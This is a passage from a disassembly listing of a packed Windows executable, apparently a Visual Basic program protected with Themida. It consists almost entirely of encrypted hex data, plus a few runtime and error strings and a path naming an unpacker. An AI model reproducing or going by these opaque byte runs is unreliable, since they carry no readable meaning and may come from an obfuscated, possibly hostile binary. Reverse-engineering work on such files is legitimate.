337152D4h, 5007D0E5h, 0AC9BE76h dd 6950CB10h, 767D97FEh, 23555B28h, 54B8A011h, 22514488h dd 117F20F1h, 2B995B37h, 19A33846h, 7168470Ch, 2041518Ch dd 7E63613Ch, 1877127Fh, 9E8h, 0ACBB5A00h, 0DC187931h dd 0F2B933C9h, 5F64FFA7h, 3830Fh, 0BF0F0000h, 0BCC781C8h dd 66000069h, 0DB2BD18Bh, 36D6F081h, 348B7FD7h, 0C981661Fh dd 0C681BC92h, 1BC5DB5Fh, 0F701EE81h, 0DE850D4h, 91000000h dd 0D9700A7Ah, 3861FBB6h, 74E65D80h, 0E24CD5B9h, 0C681584Ch dd 7164039Fh, 0DDFBA66h, 0B01F3489h, 96C88192h dd 813C80FCh, 0B0118EEBh, 0CE950h, 707A0000h, 1FCFCE9h dd 78CB049Eh, 0C3818B55h, 50B0118Ah, 6830F60h, 0F000000h dd 86h, 0DE900h, 0FDA80000h, 31CF959Ch, 76BE4F1Ah, 61FCE75Bh dd 9728FB81h, 850FFFFFh, 18h, 2EE9E38Ah, 3D000000h, 1EEEB8EDh dd 690F8385h, 618DCB97h, 145DCE9Ah, 0B9BE9DB8h, 0FF54E962h dd 912FFFFh, 0C00C5A17h, 276A3E48h, 0B814371Fh, 0FE0CD82Fh dd 2E8D8D0Ch, 0BF060D25h, 73416359h, 1AD98D89h, 858B0607h dd 6072A8Dh, 101D85C7h, 62E80607h, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 0F4F46CC3h dd 9D6859FCh, 8988F876h, 7027995h, 585C706h, 60733h, 66000000h dd 0FF6A9EBAh, 70BE9B5h, 3870F06h, 80000000h, 95FF9AE2h dd 6071859h, 20F9858Bh, 6A0607h, 0D6995FFh, 0C08B0607h dd 7FFE5EEBh, 0A2C0E6E1h, 9FA25DA4h, 48032F29h, 3DBFBB6Bh dd 0A2ABB2AEh, 32F3066Dh, 0D9A1C3F0h, 0C908F255h, 37E57777h dd 6A38DBDAh, 4F9DE351h, 802EE8FBh, 0A3DAAFB3h, 6637247h dd 0EB699B99h, 0E1AA0098h, 0E3E5ABABh, 991E9A51h, 5240D8C3h dd 2EB6F283h, 27CA0546h, 0D753BB3Fh, 53219F2Ah, 10E8h dd 0F6DB8800h, 0A0F35C0Ch, 3E312BBDh, 5AB64611h, 0B52B5B65h dd 60706EDh, 60A7C381h, 680000h, 31000000h, 7050D8Dh, 0F58A5906h dd 810B3C8Bh, 134801EFh, 0E5958975h, 8106072Fh, 2B56CAEFh dd 0F28B6618h, 4C1BC781h, 0B70F7770h, 8FFC57F3h, 0BD890B04h dd 60701B9h, 2B5DB589h, 0E9810607h, 5727B479h, 99D8960h dd 61060700h, 0B475C181h, 0C6815727h, 75D27F5Fh, 0A018F981h dd 850FFFFFh, 2Ah, 0CE9h, 0BE4B4900h, 86400CDAh, 0A2445Eh dd 2AE954h, 8A310000h, 0F0437034h, 0DE5D28EAh, 0F14F7327h dd 7936542Ch, 850FE427h, 6, 0D3D9589h, 6DE90607h, 0EAFFFFFFh dd 85781BC8h, 0EE8h, 27622D00h, 0F8D12F87h, 0E912AE5Dh dd 936434Eh, 707E985h, 0C6815E06h, 71B7h, 6EE28166h, 0B865h dd 0CF810000h, 3145391Ch, 0BA3034FFh, 7B4D09A5h, 95850959h dd 81060702h, 731487F1h, 19D8B33h, 8106071Bh, 2C422CF1h dd 13BF661Dh, 12F1812Fh, 0B31E4F2Fh, 9D89514Ah, 6072BFDh dd 0E906048Fh, 0Ch, 261FD003h, 35171AE9h, 38B032B3h, 6602E883h dd 4848F88Bh, 21458509h, 0F8810607h, 0FFFF8ED8h, 0FF9E850Fh dd 9D8BFFFFh, 60725D5h, 27F28D8Dh, 6A060Dh, 3E850h, 58200000h dd 448958C3h, 44810424h, 190424h, 50400000h, 0E6541CC3h dd 66E1549Dh, 3781D281h, 1AD98D89h, 6A0607h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 140424h, 53430000h, 870F33C3h dd 4, 61616060h, 101D85C7h, 6BFC0607h, 840F0000h, 3, 812BD480h dd 0EBA745D3h, 585C73Ch, 60733h, 6A000000h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 2682C357h dd 82AB6D6h, 81DE9A91h, 0E35DDFF0h, 0C5B5FF62h, 6A060707h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 16042444h dd 43000000h, 0A46DC353h, 5995FF96h, 6A060718h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h dd 1241C350h, 95890FF2h, 60732D9h, 10098531h, 6A0607h dd 0D6995FFh, 0C08B0607h, 0D3562AEBh, 3B590111h, 108712B4h dd 534381B9h, 24D1431Fh, 5F21F38Bh, 3281A6B9h, 8942C0C6h dd 75E10C31h, 39C7D246h, 0A7C270CDh, 15CE9h, 0E705C500h dd 5C3A4377h, 6E755F6Dh, 6B636170h, 70007265h, 656B6361h dd 78652E64h, 65h, 3Ah dup(0) db 0 a3cannotFindS_P db '3Cannot find ',27h,'%s',27h,'. Please, re-install this application',0 aThunrtmain db 'ThunRTMain',0 a__vbavartstne db '__vbaVarTstNe',0 db 44h, 5Fh, 0D2h dd 1B10E933h, 0C7680000h, 0E9060D2Bh, 0FFFA53F3h, 0D2CE868h dd 53E9E906h, 0BF68FFFAh, 0E9060D2Dh, 0FFFA53DFh, 0D2E9768h dd 53D5E906h, 0D668FFFAh, 0E9060D2Eh, 0FFFA53CBh, 0D2F9E68h dd 53C1E906h, 0FD68FFFAh, 0E9060D2Fh, 0FFFA53B7h, 0D305668h dd 53ADE906h, 7768FFFAh, 0E9060D36h, 0FFFA53A3h, 0D371268h dd 5399E906h, 8A68FFFAh, 0E9060D37h, 0FFFA538Fh, 0D386468h dd 5385E906h, 0D768FFFAh, 0E9060D38h, 0FFFA537Bh, 0D39B168h dd 5371E906h, 7168FFFAh, 0E9060D3Ah, 0FFFA5367h, 0D3B2568h dd 535DE906h, 4668FFFAh, 0E9060D41h, 0FFFA5353h, 0D423668h dd 5349E906h, 0EF68FFFAh, 0E9060D42h, 0FFFA533Fh, 8A1FB6E7h dd 8318B7E3h, 7E13AEDCh, 780DA8D7h, 6E039ED1h, 0CD00BBD3h dd 0CBF89F34h, 0C4F69D32h, 0C5F59C31h, 62D09D32h, 96C80374h dd 65374E43h, 0C269FC2Ch, 0D76C0B3Bh, 0AB99860Eh, 49A3F23Ah dd 7B11B285h, 0A307E38Dh, 24CB9E47h, 0AD31396h, 0D2ED9C73h dd 6C35A2E8h, 7F62439Ch, 41A62FB1h, 5A341FB6h, 98000000h dd 0F48A820Ah, 0D87F1E4Bh, 5F4D553Fh, 47A300DDh, 1C9F3508h dd 4DE53865h, 5AD6FD0Ch, 2BEB03B8h, 9506F48Ah, 0E0439C9Eh dd 3E0A230Dh, 439C9ED1h, 0A64DE815h, 0B158EF1Fh, 0C05B8918h dd 74C25519h, 0D28212B8h, 9C9E73E4h, 1EBBE43h, 7F5698A6h dd 5D1FB614h, 10Bh, 69FC2CC1h, 857323D3h, 49A3F214h, 47B88C5Fh dd 9249A3F2h, 0F5D191F7h, 8122E0F8h, 0C4F77E97h, 5B189B31h dd 6DF20B0Ch, 0BC83927h, 401349A3h, 159CB59Fh, 0FE6F5DE5h dd 4249A30Ah, 1CEF7716h, 1D4DD47Bh, 0E009F58Ah, 9449A307h dd 126D0964h, 86FD1CDDh, 9BCC4FE5h, 0C7B73B4Eh, 9C3568F7h dd 6B725CF5h, 4EE714BDh, 94336364h, 0D6BC44EDh, 0D76D0EA7h dd 0A2CBAFE9h, 5A894A47h, 0C0891EBFh, 0FAAA4038h, 0DF862151h dd 69165C46h, 344194FEh, 0EF22CB61h, 80B33C68h, 4A53EE5h dd 0BAAD65Dh, 892ACB64h, 0DCC346F4h, 369F6A94h, 942D60EFh dd 696A54EDh, 0BBC59B36h, 47F07F77h, 18089718h, 34650000h dd 39650CA1h, 3462099Eh, 2E5D0499h, 2457FE93h, 4961FC91h dd 35CA5B8Eh, 2FC4618Eh, 26BB5688h, 23B84F7Fh, 89FAE856h dd 0D44396C7h, 0F92CEBBDh, 0FC2CD368h, 4A50D369h, 10DEB29Ch dd 20A8A84Ah, 0DB7CD594h, 0A78EAF1h, 6F48A82h, 47A30184h dd 6935DCAFh, 439CE0FCh, 0F6F84629h, 1FB5D0DFh, 0F3FDh dd 0FC2C6100h, 0F2158674h, 8D6049A3h, 8BBE45ECh, 5E8753FAh dd 0B49A3EEh, 0ECFC6D5Bh, 124049A3h, 0AF37D077h, 207E73DCh dd 1ED6F6E8h, 64033334h, 0CD9E21CFh, 856C911Eh, 8122BBE8h dd 0CF669697h, 0FFF77F28h, 5417B69h, 25CE47A2h, 989B9AF5h dd 643C8CBh, 9625BE65h, 922BD263h, 0BDEDAEA8h, 49EA832Ah dd 0A41503B3h, 0EF439BB9h, 622B321Ch, 0C94CE2DAh, 8A4DECBDh dd 301EB4F8h, 439BA9BFh, 454D370Ah, 940E4F57h, 62F57841h dd 539B443Ch, 2C85E22Bh, 194CDC3h, 0CEB39E98h, 6C56D1EAh dd 59099F72h, 0F9E37EB0h, 972CC5F8h, 4E24BDF0h, 0F07F6B32h dd 0E71899C8h, 44000016h, 46ED8213h, 3FE67B1Ah, 3AE17611h dd 36DD720Bh, 42DD7203h, 0A93C6F2Ah, 0A5406D14h, 9C376910h dd 95306007h, 0D7C53300h, 4396C666h, 2CC89AB1h, 2CD368F9h dd 62D469FCh, 0B74A7C25h, 0BBE87710h, 7373822h, 1242C970h dd 8D15DE73h, 4711FF95h, 247A2EEh, 4FBC882Fh, 7C439CEDh dd 199569ECh, 0CDF05D35h, 69D21068h, 0A7914B01h, 0CA4DC24Ch dd 0CFB9494Dh, 0BC15FFB0h, 1FB68619h, 96C3h, 0BE3E2700h dd 72080088h, 0A2F8DA84h, 3BC29547h, 2641942Fh, 8F7D2D8Fh dd 6F02411Eh, 89AC9669h, 85730901h, 6D0143AFh, 0A750F7CAh dd 0E891271Fh, 0EE751CB5h, 0E98229BCh, 68565E48h, 66F562F3h dd 0FCA53B0Eh, 0FDA439CCh, 0CE643ACDh, 0F41ADDE8h, 161044C5h dd 3C6D0000h, 416D14A9h, 3C6A11A6h, 36650CA1h, 2C5F069Bh dd 51690499h, 3DD26396h, 37CC6996h, 2EC35E90h, 2BC05787h dd 9102F05Eh, 0DC4396C5h, 0FC2CF3C5h, 9119C269h, 4B150399h dd 647A2EEh, 3E2C9E33h, 80088BEh, 0F8DA8472h, 0D78747A2h dd 9CE878E9h, 6F0C343h, 0EEC2710Ch, 888790A4h, 955460E7h dd 2EC2B3AFh, 0FF1F907Eh, 3563BC72h, 553F129Ah, 1CB2AA32h dd 7202582Eh, 8FBC65BAh, 77120CF6h, 10FE083Bh, 0B66B719Fh dd 1EAE17EAh, 13A94A73h, 0DCC47C90h, 7963883Bh, 422FB760h dd 29D06B99h, 14BBC90h, 0C396B66Bh, 0B5E38C22h, 3A28301Ah dd 0B46531C5h, 0CE770DE0h, 0C871079Eh, 0B12FC95h, 0BBD93464h dd 23FD2B72h, 0F29A7011h, 40652D86h, 15389011h, 64950000h dd 69953CD1h, 649239CEh, 5E8D34C9h, 54872EC3h, 79912CC1h dd 65FA8BBEh, 5FF491BEh, 56EB86B8h, 53E87FAFh, 0B92A1886h dd 44396C4h, 0FC2C1BEDh, 0D8919369h, 0C2F1FC6Eh, 14F941h dd 90255600h, 8D2854FBh, 882351F8h, 841D4CF3h, 7C1548EFh dd 79344CE7h, 6F16AB46h, 670EA342h, 660DA235h, 3D0A9F36h dd 0C470E1CFh, 0A4BB4396h, 69FC2CD2h, 999119C2h, 0EB431503h dd 3B0E47A2h, 81FA11A6h, 0EA72E3D1h, 0EABD439Ch, 5D55DD00h dd 0F12FD9C7h, 22EA419Bh, 95E0C334h, 9A3B0E3Dh, 58EC0713h dd 0D585D12Dh, 0ED2876E7h, 6360E0A0h, 2FB1DFE8h, 1545D4A7h dd 0ED759882h, 88B65FF5h, 0C3AD46EDh, 69F7CDBBh, 3F129EECh dd 0A767EF98h, 65FBCD4Bh, 0F28DBBD6h, 7011B24Bh, 884B57DAh dd 0A92A65FBh, 54C9B7BFh, 6F98E0E0h, 0C8FB7CAEh, 4CE58C2Dh dd 3C6C15ABh, 3D6D14A9h, 6ADCD4AAh, 0F72648A9h, 143176h dd 0C85D8E00h, 0C5608C33h, 0C05B8930h, 0BC55842Bh, 0B44D8027h dd 0B16C841Fh, 0A74EE37Eh, 9F46DB7Ah, 9E45DA6Dh, 7542D76Eh dd 0C3A81907h, 0DCF34396h, 0F276E70Ah, 87549A3h, 749A402h dd 49A3F29Ah, 0A3D22C99h, 0B6E66949h, 30C1F459h, 19EFBDC7h dd 67FE2E2Fh, 6E9DA391h, 0A72857FCh, 13D2h, 0D267FE2Fh dd 0CB60FF2Bh, 0C65BF624h, 0C055F01Fh, 0B64BE619h, 1548031Bh dd 1340E77Ch, 0C3EE57Ah, 0D3DE479h, 0AA18E57Ah, 96C34BBCh dd 0AD7F9643h, 0ADB2A225h, 31D30596h, 0A49C2447h, 0C3D58B0Eh dd 0C8A19671h, 0CEE8D6DEh, 6947A229h, 31E4C096h, 0D706FA69h dd 137956h, 10A5D600h, 0DA8D47Bh, 8A3D178h, 49DCC73h, 0FC95C86Fh dd 0F9B4CC67h, 0EF962BC6h, 0E78E23C2h, 0E68D22B5h, 0BD8A1FB6h dd 0C1F0614Fh, 243B4396h, 69FC2C52h, 6C0B3BC2h, 0BF89E2C5h dd 0AEBC9C39h, 253E19h, 25A20000h, 0C9B34E7Ch, 0A3F21683h dd 8B2A5A49h, 1D7F0AF6h, 17AD496Fh, 0AAA8CA94h, 6751F5BDh dd 1310CD4Eh, 2C430000h, 19C269FCh, 15039991h, 47A2F2E7h dd 7F4717B2h, 454DC927h, 0BB50C1AFh, 0C89B439Ch, 41C99227h dd 0E58C2B5Bh, 0F38EBD4Ch, 0F4CEBC52h, 1419BCCh, 1902958h dd 524C36D1h, 47F1078Ah, 0B7067F55h, 957372E3h, 49EABD3Dh dd 4C1B30B3h, 0AAEB647Bh, 0F220A7C0h, 68D6C257h, 0AC3D95E0h dd 0A950E580h, 0B43BE27Dh, 990AF888h, 0E43D95E0h, 31DA7011h dd 667F6904h, 731AADDFh, 7D24BDECh, 2E1826B9h, 25BE6500h dd 412CB84h, 0BA4FEE1Ah, 0BCD21ABBh, 0D503AC25h, 0DC831E4Ch dd 0E313A243h, 1A049D44h, 17426h, 820A8A00h, 0A406F48Ah dd 0CF47A2D0h, 44C755FCh, 7CFFFB8Fh, 268DE294h, 0E8909801h dd 69959680h, 669239CEh, 0E99220C7h, 0BDCE58BBh, 4872207Eh dd 7D6700A7h, 9C1FCA37h, 5CEA2543h, 9127C6F2h, 761DB8E8h dd 23ECF3DDh, 1F0DA39Bh, 419AEFD1h, 0DCB7019Ch, 6E1EA09Fh dd 6C9F26CDh, 6A9D44D9h, 6B9841D7h, 0A8922BD2h, 5A58C38Fh dd 0C7AF3D94h, 5AB82917h, 30033D94h, 2DD46FA1h, 0C14FAA94h dd 0FB912457h, 9C861F52h, 23C2EE95h, 503EEE7Ch, 3D945ADFh dd 6C6D572Ah, 4DFEA540h, 0EC958A94h, 3E3F29BCh, 34DD7312h dd 7F867001h, 0BE585580h, 388725h, 6AF0000h, 0FE973ED7h dd 0F92C4814h, 73AC168h, 0FF2FD86Eh, 0DE657E68h, 0EC731AABh dd 0F87F26BFh, 0EC852CC5h, 26E63079h, 0BC6AB46Dh, 6463F889h dd 19AEC071h, 886Bh, 820ACF00h, 31D8699Ch, 3FE07DAAh, 6C1A089Eh dd 3747A2FAh, 0AC2FBD64h, 0E91142B1h, 9F3E6BA7h, 0E71314FEh dd 0E00CB348h, 0EB179E45h, 3BF4A54Ch, 65933CEDh, 0FB8A23CAh dd 44452FCEh, 0E9E87D18h, 1FB698ECh, 35EEh, 7F0A5200h dd 30D76A9Dh, 7260F697h, 49A3F251h, 0B68229FCh, 49A3F049h dd 46D660A9h, 4331C7BBh, 49A3F122h, 0C465FACDh, 15h, 7D6A7BFEh dd 7AEF32DCh, 7C25C490h, 0CFCAB44Dh, 51h, 0D9A22545h, 1EF87D30h dd 9373822h, 1440C76Eh, 16BD588Bh, 25C6618Fh, 0AE30A18Fh dd 0A87B49A3h, 95C87107h, 2DBC55FCh, 757C6601h, 0E515A2CEh dd 8312AB52h, 7811B857h, 0FE8730D7h, 0DB935F06h, 54C00A5Eh dd 0B421A771h, 2619AF03h, 0B0Dh, 4A7C258Ah, 8D7710B7h dd 8B21E16Ah, 3FB09E95h, 8A49A3E3h, 19074EB7h, 3AAB992Fh dd 8549A366h, 0DC6A11B2h, 7682D459h, 0A48EDBE2h, 3E392A5Eh dd 9013A3D2h, 0A59E99BEh, 2C877136h, 0E9F9DCE2h, 29E3A359h dd 47000000h, 0F389810Ah, 92242A70h, 0D4BE1A52h, 876DDECCh dd 0E5B849A3h, 4963723Eh, 0A98CF296h, 0F97C599Fh, 485EC322h dd 0C2000002h, 2F89810Ah, 0FC2C894Dh, 0FA2AD369h, 1A83B6Dh dd 9220C768h, 0A3F233A4h, 0AAB7E49h, 0A2345420h, 0AEB411D4h dd 1CEB1Ch, 0A4F0000h, 252F8981h, 0A3F2C937h, 0E7411449h dd 0FE2CB125h, 0E4F60963h, 2432h, 810AA800h, 37252F89h dd 49A3F2C9h, 0CC2F5D06h, 0B09E3C3Eh, 30D7785Eh, 1A75AD97h dd 2CB125C0h, 0F60963FEh, 9F8E7E4h, 8831576Ch, 0D0D1BB56h dd 0C86F049Dh, 0BE67FD98h, 0B64FF68Fh, 0C0F3ECCCh, 0ACBFB725h dd 0F184B462h, 0D473A36Ah, 0B8BD7F66h, 0D14230E0h, 1C334BDAh dd 3A045F49h, 0C249DC0Ch, 0BE2CCBFBh, 5ECC92C5h, 0A9334BDAh dd 0DA82F3E1h, 0CCD334Bh, 49D44DDh, 5C54C263h, 2151FF49h dd 2BD26B98h, 0A36AF192h, 610E0D70h, 0F0FA770h, 9A96F8B0h dd 54F5967Ch, 64E515BEh, 11FB9C35h, 9CC283F8h, 0AB32D96Ch dd 9037DE79h, 16ED71BFh, 3A8E781Bh, 879825C6h, 0C95C8FB9h dd 24958333h, 6F334BCFh, 0FDABB29Ch, 0CEEE5F4Dh, 0BC58334Bh dd 62CC2CADh, 0AF996CF4h, 51E77EAEh, 6204FECEh, 0AA94620Ch dd 0D09ED1CAh, 334BD762h, 86F7E5ADh, 0D1334BD7h, 0B7EF5DFEh dd 0FC2C1A24h, 0EB1BE269h, 42F7DE4Ch, 0FC2AF447h, 0E4B239CCh dd 89770B3Bh, 334BD718h, 48EF9063h, 94C4C5AFh, 679A9301h dd 7118B1E0h, 0D1C937D8h, 96C670BEh, 0E7F38737h, 0C9B8673h dd 7A047DAh, 6111DF66h, 4AF60273h, 907A4D33h, 69FC2CC4h dd 0ABC150D3h, 0B15F6F29h, 5B45E681h, 0A894D8Fh, 34318B7Fh dd 0B411D4A2h, 2ED71CAEh, 0AD487502h, 25CC6D06h, 3ACDFD8Ch dd 3C5C50h, 25C00000h, 36EE4F7Ch, 0E5A91A6Dh, 841DC465h dd 0F8EC779Ah, 0C937259Eh, 1449A3F2h, 0B125E741h, 0CF65002Ch dd 0F2C0311Fh, 430B49A3h, 0A3F2E455h, 0BB5C2F49h, 0E4F605D1h dd 3D32h, 7F0AA800h, 5745F58Bh, 49A3F1E6h, 0F40B5450h dd 0B43CB614h, 252BF7E1h, 0A3F2C937h, 217BD649h, 7C25B125h dd 0FD98CA49h, 8D1CB55Ch, 8A23CA5Dh, 0D4739FA0h, 4F7C257Ah dd 8C760FB6h, 0B0E74355h, 2E49A3F4h, 0FFFD54A5h, 235CDFFFh dd 2F4A303h, 0E774402Ah, 49A3F27Ah, 5BDC0EB7h, 4EE8F2Eh dd 0CA6058E1h, 7AD51447h, 0DFC99285h, 680331D8h, 0FF84F5C1h dd 9BE449A2h, 0EC75A38Dh, 0F08526BFh, 0ED821D49h, 0FEA59924h dd 0FD98C770h, 8DD3BD56h, 0B714C63h, 0CD131D00h, 5C060308h dd 1B2D2h, 79E73600h, 9B49A3F2h, 64FF2D13h, 0ED8324BDh dd 2E9F8D3Dh, 7949A3F2h, 3476BCA6h, 0DF47A2D6h, 20C9770Ch dd 6F705AF3h, 78FFA641h, 830AB14Ch, 6811B857h, 6452E8E0h dd 419BC602h, 0AA845A2Dh, 58F060E5h, 0D58A829h, 84B50000h dd 89B55CF1h, 84B259EEh, 7EAD54E9h, 74A74EE3h, 99B14CE1h dd 851AABDEh, 7F14B1DEh, 760BA6D8h, 73089FCFh, 0D94A38A6h dd 244396BCh, 0FC2C3B0Dh, 0FE2AD369h, 351FB85Fh, 0F3EB731Ch dd 0E1EADA5Dh, 84E11C5Eh, 5FE2929Ah, 455E40F8h, 0A1E7D10Bh dd 4798794Fh, 8B1471Ah, 0FCAA3FDAh, 0E0872653h, 2E5C5D47h dd 0AE5EEC93h, 96684FC0h, 0DDC79A43h, 8319ACDCh, 6B12ABDAh dd 26CFE8D2h, 2210A69Eh, 41956B28h, 0C8598C35h, 0A49E8821h dd 4FDFFBD1h, 74A3F07Ah, 0CBDF3h, 4CE91A00h, 49E410B7h dd 44DF0DB4h, 40D908AFh, 40D104ABh, 3DF810ABh, 3BE2770Ah dd 33DA6F0Eh, 2AD16601h, 0F9C65BFAh, 0BB2C9D8Bh, 60774396h dd 69FC2C8Eh, 999119C2h, 7EAA5303h, 0E9AFF5DFh, 0A447A2F4h dd 65953CD1h, 0EC743DD2h, 33705EF4h, 0DE4191CBh, 9ECC750Bh dd 99C76E03h, 0A0D057FEh, 2DB55E05h, 0B7B19F35h, 0D23B8EBCh dd 9EA329FFh, 6897EE75h, 0C45E7h, 0D471A200h, 0D16C983Fh dd 0CC67953Ch, 0C8619037h, 0C8598C33h, 0C5809833h, 0C36AFF92h dd 0BB62F796h, 0B259EE89h, 814EE382h, 0BBB42513h, 0E8FF4396h dd 69FC2C16h, 0A49119C2h, 0A3F245B6h, 0C05B8949h, 25F88019h dd 5A00EE84h, 1547A2F6h, 0DA06AD42h, 0D1FFA63Bh, 0A2FA136h dd 0F6A9C82h, 59FC7E5Ah, 0B96001ABh, 0C35E9120h, 9C9E8C22h dd 0C747A1FAh, 14814DF4h, 41439BFAh, 0C70ED05Eh, 11FB6B7h dd 0FF839F7Eh, 4A340BEAh, 8856h, 2CBA00h, 0F326CF65h, 234BB62h dd 8E2FC86Fh, 54FD8BA4h, 13279021h, 8F20336Bh, 3763644Eh dd 0A57F0298h, 6883A9A7h, 188A18Bh, 811C49D2h, 0F9A041DAh dd 12A74672h, 33C9C149h, 0A22FC745h, 491FF247h, 0FA692B95h dd 6BB53665h, 0C800000Bh, 0C269FE97h, 0BB62F796h, 0B65DF28Dh dd 0B259EE87h, 0B651E67Fh, 15B0E39Eh, 11ACD980h, 10A3D57Ch dd 11A4D47Bh, 5341AF7Ch, 4396BAE2h, 2C44162Dh, 2FD06500h dd 6Ah, 65002CA5h, 0A78D15BEh, 0AA40E174h, 0F29B0CFAh dd 4BE649A3h, 1154A6F2h, 0FEE8894Fh, 6BA608F6h, 13C347A2h dd 9C5BB425h, 422CFF43h, 159F7548h, 15FA694Fh, 0AF865E6h dd 24550000h, 2955FC91h, 2452F98Eh, 1E4DF489h, 1447EE83h dd 3951EC81h, 25BA4B7Eh, 1FB4517Eh, 16AB4678h, 13A83F6Fh dd 79EAD846h, 0C44396BAh, 0FC2CDBADh, 0B3BC269h, 0F2188977h dd 906349A3h, 0C6548EFh, 848A0D02h dword_5A00DC dd 69A704E8h, 0A92C856Fh, 1F19AF9Eh, 0C1AB4A76h, 276CDh ; DATA XREF: Themida_:0053DBC0o dd 0AE3E3100h, 42D8D058h, 0A2F9AA54h, 0B926547h, 2E9F8D3Dh dd 79439CE9h, 6A76BCA6h, 88B62B50h, 4DE81A00h, 662816ACh dd 34E0450h, 2912C5Ah, 534D37D6h, 0A24BD980h, 1DB8E572h dd 523CDD76h, 19AFA72Fh, 0F38EC069h, 0D84AB34Ch, 2677012h dd 72E72D17h, 8D47F8A7h, 4F7B24BAh, 0CA809B0h, 37213C3Dh dd 0E619A849h, 210BA44Bh, 0A5407019h, 9E396910h, 0C16820C8h dd 2AABDAF9h, 0A1Eh, 16AB4A7Bh, 0FA4436Fh, 0A9F3A68h, 4993463h dd 2972A5Dh, 61944F67h, 67943BD0h, 609239CEh, 598930C5h dd 0EE5C29BEh, 96B98F00h, 0F1C3DA43h, 4977002Ch, 548007AEh dd 0D87912B9h, 7F029037h, 0F9819A1Dh, 6D083BB3h, 37BFE2CCh dd 34BBA93Fh, 6B4798D0h, 2C590298h, 2855FC91h, 0B4AB52C5h dd 6405DFCDh, 948C14BDh, 992955FEh, 96993AABh, 11B28543h dd 0DFE7D16Ah, 0AAD67F2Fh, 0F7CB640Bh, 43969986h, 0CE14FED1h dd 419575C4h, 0ED962CFFh, 0E99025C0h, 0E28B21BCh, 5BFA2AB5h dd 0D37A1BB4h, 0A937503Ah, 8C33CE00h, 0E9625D2Bh, 2DCEB244h dd 73124243h, 7AF00F9Dh, 384B3F0h, 95Eh, 56EB8ABBh, 4FE483AFh dd 4ADF7AA8h, 44D974A3h, 42D76A9Dh, 0A1D48FA7h, 0A7D47B10h dd 0A0D2790Eh, 99C97005h, 2E9C69FEh, 96B8CF40h, 31031A43h dd 16877525h, 6149A3F2h, 0EFE25FC6h, 0BA5B4EB3h, 65CED4D0h dd 0B549A3C2h, 8D9DA26Ch, 78E8100Ah, 0E3CD37A5h, 0AA4038C0h dd 8C33CE01h, 130109F3h, 47A22109h, 32DB7144h, 757D6706h dd 0B62715C5h, 1439C21h, 1543442Eh, 941CE57Ah, 1318069Ch dd 404194B2h, 2C98AABDh, 917BBF53h, 7E2EC497h, 8312A5D5h dd 0CDCEB857h, 0C4740A9Dh, 923E65D6h, 0F3DDB03Dh, 821545ECh dd 7F6C68ACh, 0FA7BAAF0h, 8AAh, 0AA3FD607h, 0A338D703h dd 9E33CEFCh, 982DC8F7h, 8E23BEF1h, 0ED20DBF3h, 0EB18BF54h dd 0E416BD52h, 0E515BC51h, 82F0BD52h, 96B72394h, 85576E43h dd 0A3F27AE7h, 98EBE49h, 8D2854DDh, 0EDB64BECh, 2ED76D65h dd 27C067FEh, 285353Dh, 3C417C4h, 1B614BB2h, 47A32C47h dd 45F58B5Eh, 17CCAFC2h, 62F13145h, 58F19835h, 0A83B6D6Eh dd 0A73A6C13h, 9CC97200h, 0A0D35A01h, 24C55E05h, 8283F3Ah dd 0AB50000h, 6F48A82h, 47A2D6C4h, 29F59C6Fh, 439CC6BCh dd 82B059E9h, 808ADE1Fh, 7112AC42h, 0EC4731CAh, 85399C22h dd 37A31FB6h, 7000001h, 0C067FA2Ch, 0CA710C39h, 0CD741343h dd 0EC811446h, 0D9801345h, 1DB3AB30h, 0A3F2B62Fh, 2340C349h dd 4BDEA3E5h, 0D7781542h, 7920F3EDh, 8128C5F2h, 8B32CBFAh dd 0B99E0FFDh, 16E949A3h, 8C889667h, 0D146D019h, 0B9C23321h dd 3A0D49A3h, 8A1D4F50h, 7C1B4BF4h, 0B2E48B92h, 41EA781Fh dd 0B9E87712h, 3BF03620h, 0EB49A3B9h, 78AA94A2h, 14AE3215h dd 0B45594DDh, 11D1561Fh, 0A03CB63h, 1DB3540Bh, 0A380C62Fh dd 872E0149h, 0EA5B49F9h, 3549A37Fh, 6DDECC62h, 0B849A380h dd 0CDFAFBE5h, 0C7F49B30h, 76F9872Eh, 9F79D715h, 0E4E5CF6Eh dd 0F7A21B4h, 0BC437019h, 6A54F590h, 6710010Fh, 0B2B39D38h dd 0AC53E885h, 963FE67Fh, 9280160Eh, 47A26A94h, 0B057ECBFh dd 0A454EA83h, 9C4A45B6h, 0D3BD9043h, 948C11BAh, 4AAB10FEh dd 13E6439Ch, 6EB8016Ch, 65FA93C0h, 4DF491BEh, 8E241CA4h dd 7A0235DEh, 9C4A1B8Ch, 0F2936643h, 2F58C208h, 0C093419Bh dd 0D02CA72Ah, 4E1CC222h, 89B65D64h, 0A957ECh, 4F503AD3h dd 47F58A1Dh, 0AEB41EC4h, 0BEEAAEB0h, 3EDF781Fh, 820A8854h dd 0D806F48Ah, 0A347A2F2h, 76A229D0h, 0AD042D7h, 37A8967Fh dd 8249A3F2h, 5D8146AFh, 27B7EF05h, 0A613DF86h, 0D349A365h dd 41F126F0h, 0A365E253h, 0C0311F49h, 0B49A365h, 0F3DDB038h dd 0AF4D3B9Ah, 2CA119h, 20C90000h, 1EAC53EEh, 0A371BF30h dd 96370A49h, 2CE0ACh, 81F2BE65h, 0E149A3F2h, 74A08E98h dd 2B5844D9h, 0DD49A3D1h, 0FFFF9E54h, 7C25CAFFh, 0C9CAB44Dh dd 14A4FE99h, 8B7F0AC2h, 0D4B42631h, 1CAEB411h, 37EBh dd 75631300h, 46A3F204h, 0D57C1548h, 0F7E1B43Ch, 8B7F0A2Bh dd 831E4CF5h, 8D5943DCh, 0F2C63725h, 3E1149A3h, 0CC7525E4h dd 521E0899h, 0B65002Ch, 4332E4F6h, 0A8000000h, 0F58B7F0Ah dd 0A290204Ch, 49A3F231h, 6108A97Ch, 42E25FC8h, 3BD2D364h dd 7C258551h, 7811B849h, 0F283F4E2h, 0FBCE49A3h, 0AA1B0911h dd 0E749A3F2h, 5B87103Eh, 0F9311BBCh, 0B125449Eh, 0B65002Ch dd 0FE2CE4F6h, 7FF0BC63h, 0DF49A3F2h, 0EE978896h, 0E78027BEh dd 33CEFCFDh, 0F513B29Eh, 18A149A3h, 0FFFFF4A5h, 